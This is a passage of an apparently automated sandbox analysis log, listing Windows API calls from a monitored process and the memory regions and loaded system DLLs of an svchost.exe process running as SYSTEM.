pv=0xbc9bd60) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xb86c410) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0x72ef430) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe53f70) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe53f10) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe53eb0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe53c70) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe522f0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe52290) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe52230) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe521d0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbb35d20) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe52050) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbb35f00) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbb2fdd0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd2f600) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd2f700) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0x72ef2b0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd156e0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd15620) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd19b20) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd1ade0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd1a860) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd159e0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd1a4c0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd18e00) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd1b180) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd1a380) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd18da0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd18b40) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xb61a620) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbd2f580) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xbe533d0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xb9c72e0) [0285.124] IMalloc:Free (This=0x7feffc15380, pv=0xb7e5f00) [0285.131] IMalloc:Realloc (This=0x7feffc15380, pv=0xbb35eb0, cb=0x0) returned 0x0 [0285.131] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467b60 [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb8da6d0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x7467b70) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xbe54450) [0285.131] IUnknown:Release (This=0xb901ec0) returned 0x0 [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb6f9900) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xba3c210) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb6bfbd0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x7467c00) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb5bc6b0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x74678b0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x7467b60) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb8d8f10) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x71c1070) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xbcfc5e0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xbcfc7c0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb528610) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb528790) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb61e7f0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x7467b00) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x7400c60) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0x7467bb0) [0285.131] IMalloc:Free (This=0x7feffc15380, pv=0xb414a40) [0285.131] IUnknown:Release (This=0xb902020) returned 0x0 [0285.131] IUnknown:Release (This=0xb902078) returned 0x1 [0285.131] IUnknown:Release (This=0xb901f70) returned 0x0 [0285.131] IMalloc:Realloc (This=0x7feffc15380, pv=0xb8c2210, cb=0x0) returned 0x0 [0285.131] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7467bb0 [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb8d8f00) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0x7467af0) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb8c2240) [0285.132] IUnknown:Release (This=0xb902078) returned 0x0 [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb6fc060) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0x6f9da80) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0x7467b80) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb5bbeb0) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0x7467b90) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0x7467bb0) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb8da6c0) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0x71c1460) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xbd2b560) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xbd2b650) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb528a90) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb528b50) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb61e9a0) [0285.132] IMalloc:Free (This=0x7feffc15380, pv=0xb5bc330) [0285.132] wcsncpy_s (in: _Destination=0x249af0, _SizeInWords=0x108, _Source="*\\Z045dbeab7b", _MaxCount=0x106 | out: _Destination="*\\Z045dbeab7b") returned 0x0 [0285.132] CharLowerBuffW (in: lpsz="*\\Z045dbeab7b", cchLength=0xd | out: lpsz="*\\z045dbeab7b") returned 0xd [0285.132] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045dbeab7b", cchWideChar=14, lpMultiByteStr=0x249a20, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045dbeab7b", lpUsedDefaultChar=0x0) returned 14 [0285.132] _wcsicmp (_String1="*\\Z045dbeab7b", _String2="*\\Z045dbeab7b") returned 0 [0285.139] IMalloc:Realloc (This=0x7feffc15380, pv=0xb3d5260, cb=0x0) returned 0x0 [0285.139] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb8da6b0 [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xbccba10) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb3d2530) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb3d52f0) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0x6fa1ff0) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb3d9430) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb6bd450) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0x7226510) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb8da6b0) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb5ea060) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xbc57bd0) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xbbbb820) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb5c60f0) [0285.139] IMalloc:Free (This=0x7feffc15380, pv=0xb5c6190) [0285.140] GetCurrentThreadId () returned 0x8fc [0285.140] GetCurrentThreadId () returned 0x8fc [0286.228] GetCapture () returned 0x0 [0286.228] GetCursorPos (in: lpPoint=0x24ed70 | out: lpPoint=0x24ed70*(x=1072, y=125)) returned 1 [0286.229] WindowFromPoint (Point=0x7d00000430) returned 0x101e6 [0286.229] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0286.229] SendMessageA (hWnd=0x101e6, Msg=0x84, wParam=0x0, lParam=0x7d0430) returned 0x14 [0286.229] SendMessageA (hWnd=0x101e6, Msg=0x20, wParam=0x101e6, lParam=0x2000014) returned 0x0 [0295.226] SendMessageA (hWnd=0x202b0, Msg=0x10, wParam=0x0, lParam=0x0) returned 0x0 [0295.226] IsWindow (hWnd=0x0) returned 0 [0295.226] IsWindow (hWnd=0x0) returned 0 [0295.226] IsWindow (hWnd=0x0) returned 0 [0295.226] PeekMessageA (in: lpMsg=0x24ccd0, hWnd=0x202b0, wMsgFilterMin=0x1007, wMsgFilterMax=0x1007, wRemoveMsg=0x3 | out: lpMsg=0x24ccd0) returned 0 [0295.226] DestroyWindow (hWnd=0x202b0) returned 1 [0295.226] DeleteDC (hdc=0xffffffffdc010a21) returned 1 [0295.227] GlobalDeleteAtom (nAtom=0xc137) returned 0x0 [0295.227] IMalloc:Free (This=0x7feffc15380, pv=0x73a4f10) [0295.227] IMalloc:Free (This=0x7feffc15380, pv=0xb8b96f0) [0295.227] IMalloc:Free (This=0x7feffc15380, pv=0xb8b9810) [0295.227] IMalloc:Free (This=0x7feffc15380, pv=0x7351a80) [0295.227] IMalloc:Free (This=0x7feffc15380, pv=0x6e23d20) [0295.227] IMalloc:Free (This=0x7feffc15380, pv=0xb8dbc70) [0295.227] WaitForSingleObject (hHandle=0xf90, dwMilliseconds=0x12c) returned 0x0 [0295.347] CloseHandle (hObject=0xf90) returned 1 [0295.347] IMalloc:Free (This=0x7feffc15380, pv=0xb723170) [0295.348] IMalloc:Free (This=0x7feffc15380, pv=0xb722540) [0295.348] IMalloc:Free (This=0x7feffc15380, pv=0xb722950) [0295.348] IMalloc:Free (This=0x7feffc15380, pv=0xb722d60) [0295.348] DllDebugObjectRPCHook () returned 0x1 [0295.364] FreeLibrary (hLibModule=0x7fee5a40000) returned 1 [0296.174] __clean_type_info_names_internal () returned 0x0 Thread: id = 29 os_tid = 0xa3c Thread: id = 30 os_tid = 0xa40 Thread: id = 31 os_tid = 0xa44 Thread: id = 32 os_tid = 0xa48 Thread: id = 33 os_tid = 0xa4c Thread: id = 34 os_tid = 0xa58 Thread: id = 35 os_tid = 0xa5c Thread: id = 36 os_tid = 0xa60 Thread: id = 37 os_tid = 0xa90 Thread: id = 83 os_tid = 0xa9c Thread: id = 125 os_tid = 0xb2c Thread: id = 254 os_tid = 0x5fc Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x745e000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x8f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 633 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 634 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 635 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 636 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 637 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 638 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 639 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 640 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 641 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 642 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 643 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 644 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 645 start_va = 0x130000 end_va = 0x131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 646 start_va = 0x140000 end_va = 0x143fff entry_point = 0x140000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 647 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 648 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 649 start_va = 0x170000 end_va = 0x19ffff entry_point = 0x170000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 650 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x1a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 651 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 652 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 653 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 654 start_va = 0x250000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 655 start_va = 0x350000 end_va = 0x3b5fff entry_point = 0x350000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 656 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 657 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 658 start_va = 0x650000 end_va = 0x7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 659 start_va = 0x7e0000 end_va = 0x89ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 660 start_va = 0x8a0000 end_va = 0xc92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008a0000" filename = "" Region: id = 661 start_va = 0xca0000 end_va = 0xcbbfff entry_point = 0xca0000 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 662 start_va = 0xcc0000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cc0000" filename = "" Region: id = 663 start_va = 0xd40000 end_va = 0xdbffff entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 664 start_va = 0xdc0000 end_va = 0xdc0fff entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 665 start_va = 0xdf0000 end_va = 0xdfffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 666 start_va = 0xe40000 end_va = 0xebffff entry_point = 0x0 region_type = private name = "private_0x0000000000e40000" filename = "" Region: id = 667 start_va = 0xed0000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 668 start_va = 0xf50000 end_va = 0xfcffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 669 start_va = 0x1010000 end_va = 0x101ffff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 670 start_va = 0x1060000 end_va = 0x10dffff entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 671 start_va = 0x10e0000 end_va = 0x13aefff entry_point = 0x10e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 672 start_va = 0x13d0000 end_va = 0x144ffff entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 673 start_va = 0x1450000 end_va = 0x14cffff entry_point = 0x0 region_type = private name = "private_0x0000000001450000" filename = "" Region: id = 674 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 675 start_va = 0x15a0000 end_va = 0x161ffff entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 676 start_va = 0x1620000 end_va = 0x169ffff entry_point = 0x0 region_type = private name = "private_0x0000000001620000" filename = "" Region: id = 677 start_va = 0x16e0000 end_va = 0x175ffff entry_point = 0x0 region_type = private name = "private_0x00000000016e0000" filename = "" Region: id = 678 start_va = 0x1760000 end_va = 0x17dffff entry_point = 0x0 region_type = private name = "private_0x0000000001760000" filename = "" Region: id = 679 start_va = 0x1810000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001810000" filename = "" Region: id = 680 start_va = 0x1890000 end_va = 0x190ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 681 start_va = 0x1930000 end_va = 0x19affff entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 682 start_va = 0x19e0000 end_va = 0x1a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000019e0000" filename = "" Region: id = 683 start_va = 0x1a60000 end_va = 0x1adffff entry_point = 0x0 region_type = private name = "private_0x0000000001a60000" filename = "" Region: id = 684 start_va = 0x1b00000 end_va = 0x1b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b00000" filename = "" Region: id = 685 start_va = 0x1b90000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 686 start_va = 0x1c60000 end_va = 0x1cdffff entry_point = 0x0 region_type = private name = "private_0x0000000001c60000" filename = "" Region: id = 687 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 688 start_va = 0x1e20000 end_va = 0x1e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 689 start_va = 0x1ea0000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 690 start_va = 0x1fa0000 end_va = 0x201ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 691 start_va = 0x2020000 end_va = 0x2362fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 692 start_va = 0x2370000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 693 start_va = 0x2470000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 694 start_va = 0x2550000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 695 start_va = 0x2630000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 696 start_va = 0x2770000 end_va = 0x27effff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 697 start_va = 0x2810000 end_va = 0x288ffff entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 698 start_va = 0x28e0000 end_va = 0x295ffff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 699 start_va = 0x2990000 end_va = 0x2a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 700 start_va = 0x2a30000 end_va = 0x2aaffff entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 701 start_va = 0x2b00000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b00000" filename = "" Region: id = 702 start_va = 0x2bd0000 end_va = 0x2c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bd0000" filename = "" Region: id = 703 start_va = 0x2c50000 end_va = 0x2d4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c50000" filename = "" Region: id = 704 start_va = 0x2dd0000 end_va = 0x2ecffff entry_point = 0x0 region_type = private name = "private_0x0000000002dd0000" filename = "" Region: id = 705 start_va = 0x2f20000 end_va = 0x2f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f20000" filename = "" Region: id = 706 start_va = 0x2f80000 end_va = 0x2f8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f80000" filename = "" Region: id = 707 start_va = 0x3030000 end_va = 0x30affff entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 708 start_va = 0x30c0000 end_va = 0x313ffff entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 709 start_va = 0x3150000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 710 start_va = 0x32d0000 end_va = 0x334ffff entry_point = 0x0 region_type = private name = "private_0x00000000032d0000" filename = "" Region: id = 711 start_va = 0x3350000 end_va = 0x33cffff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 712 start_va = 0x33e0000 end_va = 0x345ffff entry_point = 0x0 region_type = private name = "private_0x00000000033e0000" filename = "" Region: id = 713 start_va = 0x3460000 end_va = 0x355ffff entry_point = 0x0 region_type = private name = "private_0x0000000003460000" filename = "" Region: id = 714 start_va = 0x3590000 end_va = 0x360ffff entry_point = 0x0 region_type = private name = "private_0x0000000003590000" filename = "" Region: id = 715 start_va = 0x3610000 end_va = 0x370ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003610000" filename = "" Region: id = 716 start_va = 0x3730000 end_va = 0x37affff entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 717 start_va = 0x3820000 end_va = 0x389ffff entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 718 start_va = 0x39d0000 end_va = 0x3a4ffff entry_point = 0x0 region_type = private name = "private_0x00000000039d0000" filename = "" Region: id = 719 start_va = 0x3a60000 end_va = 0x3adffff entry_point = 0x0 region_type = private name = "private_0x0000000003a60000" filename = "" Region: id = 720 start_va = 0x3c60000 end_va = 0x3cdffff entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 721 start_va = 0x3ce0000 end_va = 0x3edffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 722 start_va = 0x4090000 end_va = 0x410ffff entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 723 start_va = 0x4190000 end_va = 0x420ffff entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 724 start_va = 0x4370000 end_va = 0x43effff entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 725 start_va = 0x4420000 end_va = 0x449ffff entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 726 start_va = 0x4510000 end_va = 0x470ffff entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 727 start_va = 0x4710000 end_va = 0x480ffff entry_point = 0x0 region_type = private name = "private_0x0000000004710000" filename = "" Region: id = 728 start_va = 0x4870000 end_va = 0x48effff entry_point = 0x0 region_type = private name = "private_0x0000000004870000" filename = "" Region: id = 729 start_va = 0x49e0000 end_va = 0x4a5ffff entry_point = 0x0 region_type = private name = "private_0x00000000049e0000" filename = "" Region: id = 730 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 731 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 732 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 733 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 734 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 735 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 736 start_va = 0xffc20000 end_va = 0xffc2afff entry_point = 0xffc20000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 737 start_va = 0x7fef3730000 end_va = 0x7fef3771fff entry_point = 0x7fef3730000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 738 start_va = 0x7fef4dd0000 end_va = 0x7fef4e09fff entry_point = 0x7fef4dd0000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 739 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 740 start_va = 0x7fef5b20000 end_va = 0x7fef5b9dfff entry_point = 0x7fef5b20000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 741 start_va = 0x7fef5ba0000 end_va = 0x7fef5bb5fff entry_point = 0x7fef5ba0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 742 start_va = 0x7fef5bc0000 end_va = 0x7fef5c7bfff entry_point = 0x7fef5bc0000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 743 start_va = 0x7fef5c80000 end_va = 0x7fef5cf2fff entry_point = 0x7fef5c80000 region_type = 